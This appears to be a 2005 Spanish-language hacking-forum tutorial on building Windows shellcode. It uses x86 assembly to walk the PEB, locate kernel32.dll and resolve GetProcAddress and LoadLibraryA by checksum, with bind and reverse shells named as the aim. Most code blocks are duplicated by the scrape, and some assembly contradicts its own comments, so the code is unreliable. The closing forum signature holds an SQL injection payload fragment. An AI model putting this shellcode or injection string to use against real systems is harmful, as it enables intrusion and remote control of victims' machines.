Por SirDarckCat
Paso 1: Obtener ImageBase de Kernel32.dll
Paso 2: Obtener el directorio de funciones exportadas
Paso 3: Buscar la funcion deseada. (LoadLibraryA, GetProcAddress, etc..)
Paso 4: Guardar las funciones..
Paso 5: ShellCodear xD
Para obtener el ImageBase de Kernel32.dll hay multiples maneras, una seria obtener
la direccion de la base de la pila, pero esta en peligro de ser sobreescrita en caso
de un overflow.. asi que podriamos usar la SEH, etc.. una manera seria usar el PEB
el cual se encuentra en fs:[30],
miren:
Código:
typedef struct _PEB
{
ULONG AllocationSize; // 00h
ULONG Unknown1; // 04h
HINSTANCE ProcessHinstance; // 08h -> ahi aparece la
// direccion base del
// ejecutable
PVOID ListDlls; // 0ch direccion bastante interesante
// que buscamos!!
PPROCESS_PARAMETERS ProcessParameters;
ULONG Unknown2;
HANDLE Heap;
} PEB, *PPEB;
{
ULONG AllocationSize; // 00h
ULONG Unknown1; // 04h
HINSTANCE ProcessHinstance; // 08h -> ahi aparece la
// direccion base del
// ejecutable
PVOID ListDlls; // 0ch direccion bastante interesante
// que buscamos!!
PPROCESS_PARAMETERS ProcessParameters;
ULONG Unknown2;
HANDLE Heap;
} PEB, *PPEB;
Aqui vemos la estructura de la PEB.. entonces, una ves que tenemos la direccion de PEB, le sumamos 0c para
Obtener el listado de DLL's
Este, ListDLLs, tiene esta estructura:
Código:
typedef struct _MODULELISTHEADER
{
ULONG HeaderSize; // 00h
ULONG Unknown[2]; // 04h
MODULELISTLINKS LoadOrder; // 0ch
MODULELISTLINKS MemOrder; // 10h
MODULELISTLINKS InitOrder; // 14h
} MODULELISTHEADER, *PMODULELISTHEADER;
{
ULONG HeaderSize; // 00h
ULONG Unknown[2]; // 04h
MODULELISTLINKS LoadOrder; // 0ch
MODULELISTLINKS MemOrder; // 10h
MODULELISTLINKS InitOrder; // 14h
} MODULELISTHEADER, *PMODULELISTHEADER;
Por motivos, de facilidad, usaremos el LoadOrder.. cuyo offset es 0c
el codigo quedaria algo asi (aunque no es realmente asi xD)
DLLs en orden de carga = [[fs:[30]+0c]+0c]
Despues para navegar en la lista, es algo asi:
Código:
typedef struct _MODULELISTLINKS
{
PMODULEITEM Next;
PMODULEITEM Prev;
} MODULELISTLINKS, *PMODULELISTLINKS;
Bastante sencillo de entender no?{
PMODULEITEM Next;
PMODULEITEM Prev;
} MODULELISTLINKS, *PMODULELISTLINKS;
Código:
typedef struct _MODULEITEM // offset
{
MODULELISTLINKS LoadOrder; // 0x00
MODULELISTLINKS MemOrder; // 0x08
MODULELISTLINKS InitOrder; // 0x10
ULONG ImageBase; // 0x18
ULONG EntryPoint; // 0x1C
ULONG ImageSize; // 0x20
UNICODE_STRING PathFileName; // 0x24
UNICODE_STRING FileName; // 0x2C
ULONG ModuleFlags; // 0x34
SHORT LoadCount; // 0x38
WORD Fill; // 0x3A
ULONG Unknown1; // 0x3C
ULONG Unknown2; // 0x40
ULONG TimeDateStamp; // 0x44
} MODULEITEM, *PMODULEITEM; // 0x48 bytes
Y aqui tenemos, la imagebase en 18 y el nombre del DLL en 2c{
MODULELISTLINKS LoadOrder; // 0x00
MODULELISTLINKS MemOrder; // 0x08
MODULELISTLINKS InitOrder; // 0x10
ULONG ImageBase; // 0x18
ULONG EntryPoint; // 0x1C
ULONG ImageSize; // 0x20
UNICODE_STRING PathFileName; // 0x24
UNICODE_STRING FileName; // 0x2C
ULONG ModuleFlags; // 0x34
SHORT LoadCount; // 0x38
WORD Fill; // 0x3A
ULONG Unknown1; // 0x3C
ULONG Unknown2; // 0x40
ULONG TimeDateStamp; // 0x44
} MODULEITEM, *PMODULEITEM; // 0x48 bytes
Este codigo obtiene kernel32.dll:
Citar
xor eax,eax // eax = 0
add eax, fs:[eax+30h] // Voy al PEB
mov eax, [eax+0ch] // Ahora al puntero ListDLLs
// Ahora Voy al listado por orden de carga
mov eax, [eax+0ch] // Y cargo en EAX la primera direccion
ldll: // ----- ldll -----
mov ebx, eax // . En EBX cargo la siguiente direccion
// . Voy a donde esta el nombre de la DLL..
mov edx, [eax+30h] // . guardo en EDX la posicion de la primera letra
xor ecx, ecx // . ecx = 0 - para no usar 0x00
xor eax, eax // . eax = 0 - plantilla del checksum
zm: // . ------ zm ------
cmp cl, byte ptr ds:[edx] // . . comparo EDX con 0
je finc // . . si son iguales termino la comparacion..
xor al, byte ptr ds:[edx] // . . meto en EAX el checksum actual..
add edx, 2 // . . sumo 2 a EDX, porque es UNICODE
jmp zm // . . voy a zm
finc: // ----- finc -----
cmp al, 50h // . 50 = checksum de KERNEL32.dll/kernel32.dll
je yek // . si es igual ve a yek
mov eax, [ebx] // . EAX es el valor del proximo DLL
jmp ldll // . y voy a ldll
yek: // ----- yek -----
// . en EBX tengo la estructura, solo sumo 18
mov eax, [ebx+18h] // . y tenemos en EAX la direccion de entrada
Ese código hace un checksum de las DLL cargadas en memoria, y busca por el chescksum de kernel32.dll
una ves que lo encontro, pone en eax la direccion de este.
Para obtener el checksum en decimal de una cadena, pon esto en la barra de direcciones de tu navegador:
Código:
javascript:f=prompt("Funcion:","");m=0;for (i=0;i<f.length;i++)m=m^f.charCodeAt(i);alert(m);
En fin, este codigo es bastante grande.. pero explica la forma tradicional de buscar el imagebase de
kernel32.dll
En forma resumida..
1.- Va al PEB que se encuentra en fs:[30].
2.- De ahi, va a la estructura ListDLLs
3.- Y al arreglo de orden por carga
4.- Va al nombre..
5.- Hace un CheckSum
6.- Lo compara con el de Kernel32.DLL
7.- Si es igual guarda la direccion
este otro codigo de solo 14 bytes obtiene tambien la direccion de imagebase de kernel32.dll, con un metodo
muy similar.. y muchisimo mas pequeño.. es preferible que usen este, y que entiendan el primero.
Código:
xor eax, eax
add eax, fs:[eax+30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
add eax, fs:[eax+30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
Bueno, una ves que obtuvimos la direccion, debemos ir a la tabla de funciones exportables.. cuya direccion esta
en la primera casilla del "data directory" del "optional header"..
algo asi:
Código:
OptionalHeader->DataDirectory[0]->VirtualAddress;
Una completa especificacion de la estructura del ImageBase esta anexa en el documento pecoff_v8.doc y en la web:
http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx
Como vemos en la pagina 16 del documento, esta es la estructura del DataDirectory:
Código:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
A nosotros nos interesa solamente la direccion de la tabla de funciones exportables, es decir la "IMAGE_EXPORT_DIRECTORY"
pagina 52.
Código:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics
DWORD TimeDateStamp
int MajorVersion
int MinorVersion
DWORD lpName
DWORD Base
DWORD NumberOfFunctions
DWORD NumberOfNames
DWORD lpAddressOfFunctions // OFFSET = 0x1c
DWORD lpAddressOfNames // OFFSET = 0x20
DWORD lpAddressOfNameOrdinals // OFFSET = 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
DWORD Characteristics
DWORD TimeDateStamp
int MajorVersion
int MinorVersion
DWORD lpName
DWORD Base
DWORD NumberOfFunctions
DWORD NumberOfNames
DWORD lpAddressOfFunctions // OFFSET = 0x1c
DWORD lpAddressOfNames // OFFSET = 0x20
DWORD lpAddressOfNameOrdinals // OFFSET = 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
en fin, lo que debemos de hacer entonces es, obtener el offset del OptionalHeader.. una ves que tenemos el offset de kernel32.dll
en eax..
Esto es para obtener las funciones de las librerias, para eso, usariamos LoadLibraryA y GetProcAddress, pero como no tenemos
los offsets de esas funciones, debemos obtenerlas primero...
Citar
mov ebp, eax // Guardo el punto de entrada en EBP
mov eax, [ebp+3ch] // Puntero a PE, aqui debe haber [ASCII "PE"]
// En el offset 78h esta el EXPORT_TABLE
mov eax, [eax+ebp+78h] // Y guardamos el puntero en EAX
add eax, ebp // Como es direccion relativa...
mov ecx, eax // Guardo el offset de la tabla en ECX
mov eax, [eax+20h] // Aqui estamos obteniendo el offset de los nombres
add eax, ebp // Como es direccion relativa...
// Hasta aqui, tenemos:
// EAX = Tabla de nombres de funciones del DLL
// EBP = Direccion base de Kernel32.DLL
// ECX = Direccion de la export table
// En donde estamos, ya tenemos control sobre los nombres
// de las funciones, solo tenemos que buscar el deseado.
// Podemos usar un metodo similar al que usamos en el primer
// metodo para obtener la direccion de kernel32.dll, es decir
// hacer un hash del nombre de la funcion deseada..
// En este caso, solo cargaremos LoadLibraryA y GetProcAddress
// Ya que con estas, puedes llamar a cualquier otra funcion..
// ademas de que en este documento tenemos como objetivo mostrar
// como hacer una shellcode exportable, no pequeña, el tamaño, se
// vera en otra ocasion..
// El checksum de GetProcAddress es: 2e
mov ebx, eax // Hago compatible con shellcode
mov dl, 2eh // Colo el checksum de la primera funcion
:sfunc // ----- sfunc -----
xor edi, edi // EDI sera el contador
:finhsh // ----- finhsh -----
inc edi // EDI++
mov esi, [ebx+edi*4] // Pongo en ESI el offset de la palabra en EDI
add esi, ebp // Hago el offset Absoluto
:lolhsh // ----- lolhsh -----
lodsb // Meto en AL la letra
xor dl, al // Hago AL XOR DL
xor al, 71h // Hago AL XOR 71, para evitar bytes 0x00
cmp al, 71h // Confirmo que no sea 0x00^0x71
jne lolhsh // Si no es, voy por la siguiente letra
xor dl, 71h // Hago DL XOR 71, para evitar bytes 0x00
cmp dl, 71h // Confirmo que no sea 0x00^0x71
jne finhsh // Si es, encontre la funcion
mov ebx, [ecx+24h] // Muevo a EBX, la tabla de los ordinales de la funcion
add ebx, ebp // Hago la direccion absoluta
mov di, [ebx+2*edi] // DI = numero ordinal de la funcion
mov ebx, [ecx+1ch] // EBX = Offset relativo de la tabla de direcciones de funcion
add ebx, ebp // Hago la direccion absoluta
cmp dl, 2eh // Primera o segunda ves..
jne fin // Si es la segunda.. acabamos, si es la primera..
mov esp, [ebx+4*edi] // Meto en ESP la direccion de la funcion
add esp, ebp // Hago la direccion absoluta, ESP = GetProcAddress
mov dl, 38h // El checksum de LoadLibraryA es: 38
jmp sfunc // Y buscamos la nueva funcion
:fin
mov esp, [ebx+4*edi] // Meto en EAX la direccion de la funcion
add eax, ebp // Hago la direccion absoluta, ESP = GetProcAddress
// Listo, ESP = GetProcAddress y EAX = LoadLibraryA
En fin.. una ves con esto, podemos llamar cualquier otra funcion, en cualquier DLL, e incluso hacer un bindshell, reverse shell, etc..
usando las funciones GetProcAddress y LoadLibraryA
Espero hayan entendido el concepto, mas informacion en los documentos anexos y las siguientes paginas web:
http://www.undercon.org/archivo/0x06/UC0x06-Win32Shellcodes.txt
http://www.codeproject.com/system/inject2exe.asp
Es todo.
Saludos!!
Publicado Originalmente en elhacker.net:
http://foro.elhacker.net/index.php/topic,130073.0.html
(c) SirDarckCat(elhacker.net) 2005
Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt









Autor


,'mi novia anacleta',database(),@@version,'<?php)


En línea




.